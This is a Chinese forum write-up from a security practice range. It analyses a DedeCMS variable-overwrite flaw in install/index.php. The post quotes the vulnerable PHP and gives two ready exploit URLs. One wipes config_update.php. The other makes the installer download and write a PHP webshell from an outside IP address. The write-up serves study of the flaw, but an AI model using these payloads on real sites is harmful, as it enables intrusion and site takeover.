进阶靶场dedecms 变量覆盖导致任意代码执行漏洞

cyvk   ·   发表于 2020-11-06 21:56:20   ·   代码审计

该漏洞的原理是利用变量覆盖实现上传php马

源码下载地址: http://lp.downcode.com/j_12/j_12898_DedeCms.rar
注意 : 安装之后不要访问后台(/uploads/dede/)访问后台会自动修改漏洞文件类型以及源码中的变量
如果你的文件是\uploads\install\index.php.bak 就要重装或者改文件后缀才能复现

漏洞url: uploads/install/index.php
29行这里有变量覆盖
代码大意是将GET post cookie 传过来的参数建值分离第一次循环将_GET 传给$_request 在进入下一个循环将$_request中的key作为变量 value作为变量的值

RunMagicQuotes()是用来防御sql注入的所以不用理会

翻到最后发现当$step=11 时候会进行一个文件读取写入的操作
该代码应该是更新cms的功能

源码

require_once(‘../data/admin/config_update.php’);
$rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”;

$sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,’w’); if(fwrite($fp,$sql_content)) echo ‘  <font color="green">[√]</font> 存在(您可以选择安 装进行体验)’;
else
echo ‘  <font color="red">[×]</font> 远程获取失败’;
unset($sql_content);
fclose($fp);
exit();

代码分析

代码大意是先包含../data/admin/config_update.php文件
config_update.php文件中有更新cms的地址信息($updateHost)
$rmurl是更新cms的远程url

$sql_content =file_get_contents($rmurl);
访问$rmurl并将结果赋值给$sql_content

$fp = fopen($install_demo_name,’w’);
打开文件并赋予写入权限 $install_demo_name为文件路径可以用相对路径

if(fwrite($fp,$sql_content))
fwrite()是个文件写入的函数将$sql_content写入$fp 成功写入返回true失败返回false

后面两个函数是用来释放资源的不用管

攻击思路 我们可以通过变量覆盖控制要写入的文件地址以及要写入的payloads

首先传参step=11让代码执行到这里

发现访问不到 追踪代码

file_exists($insLockfile) 判断文件是否存在是为了防止恶意安装的 因为这是个变量所以直接覆盖


代码可以执行到
在这里我们可以控制要写入的文件路径但没办法控制写入的内容
$updateHost在/data/admin/config_update.php 里我们没办法覆盖
但是我们可以清空他
将$install_demo_name 改为../data/admin/config_update.php ($install_demo_name 是打开的文件路径)
由于$sql_content没有值所以config_update.php会被清空 ($sql_content 是访问远程url所获得的因为他所访问的url没有值返回所以他是空的)
构造payload : /install/index.php?step=11&insLockfile=1&install_demo_name=../data/admin/config_update.php

文件被清空这样我们就可以控制$updateHost
这是要远程访问的地址: $rmurl= $updateHost.”dedecms/demodata.{$s_lang}.txt
$s_lang是 utf-8
dedecms/demodata.utf-8.txt 写死的直接配置服务器

构造payload: /install/index.php?step=11&insLockfile=1&install_demo_name=../1.php&updateHost=http://103.97.3.200/


访问我的小马

直接上靶场

/install/index.php?step=11&insLockfile=1&install_demo_name=../data/admin/config_update.php

/install/index.php?step=11&insLockfile=1&install_demo_name=../1.php&updateHost=http://103.97.3.200/

第一次写文章因为看别人写的是真的坑 如有不当之处欢迎指点哈

用户名金币积分时间理由
veek 100.00 0 2020-11-09 09:09:22 一个受益终生的帖子~~

打赏我,让我更有动力~

0 Reply   |  Until 2020-11-6 | 752 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.